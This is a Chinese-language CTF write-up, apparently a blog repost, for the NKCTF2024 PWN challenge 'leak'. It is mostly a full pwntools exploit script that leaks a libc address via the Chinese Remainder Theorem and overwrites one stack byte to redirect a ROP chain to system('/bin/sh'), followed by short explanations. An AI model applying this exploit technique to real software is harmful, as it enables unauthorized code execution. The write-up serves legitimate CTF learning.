当前位置:   article > 正文

[NKCTF2024]-PWN:leak解析(中国剩余定理泄露libc地址,汇编覆盖返回地址)

[NKCTF2024]-PWN:leak解析(中国剩余定理泄露libc地址,汇编覆盖返回地址)

查看保护

查看ida

先放exp

完整exp:

  1. from pwn import*
  2. from sympy.ntheory.modular import crt
  3. context(log_level='debug',arch='amd64')
  4. while True:
  5. p=process('./leak')
  6. ps=[101,103,107,109,113,127]
  7. p.sendafter(b'secret\n',bytes(ps))
  8. cs=[0]*6
  9. for i in range(6):
  10. cs[i]=u32(p.recv(1).ljust(4,b'\x00'))
  11. print(hex(cs[i]))
  12. onestack=u32(p.recv(1).ljust(4,b'\x00'))
  13. if onestack+0x58>0xff:
  14. p.close()
  15. continue
  16. print("onestack"+hex(onestack))
  17. res=crt(ps,cs)[0]
  18. n=1
  19. for i in range(0,6):
  20. n*=ps[i]
  21. c=0
  22. stdout=0
  23. while True:
  24. stdout=res+c*n
  25. if (stdout>>44)==0x07:
  26. if (stdout&0xfff)==0x780:
  27. break
  28. c+=1
  29. assert c<100
  30. libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
  31. libcbase=stdout-libc.sym['_IO_2_1_stdout_']
  32. ret=libcbase+0x29139
  33. pop_rdi=libcbase+0x2a3e5
  34. system=libcbase+libc.sym['system']
  35. binsh=libcbase+next(libc.search(b'/bin/sh'))
  36. payload=p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p8((onestack+0x58)&0xff)
  37. p.send(payload)
  38. #p.send(b'aa')
  39. p.interactive()
  40. break

#解释点1:这里是接收程序输出的六次结果来解中国剩余定理来算出stdout的地址,算出libc基地址。

#解释点2:这里最后覆盖一个字节的栈地址是为了把payload全覆盖到返回地址上去。这个是从汇编指令上看的

这里把地址移动到rcx之后就以rcx内的值来确定移动位置,因为rbp+buf的位置存的是栈上地址,如果我们把最后一个字节覆盖掉就可以控制rcx的值,从而控制payload移动的位置,执行getshell。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/395577
推荐阅读
相关标签
  

闽ICP备14008679号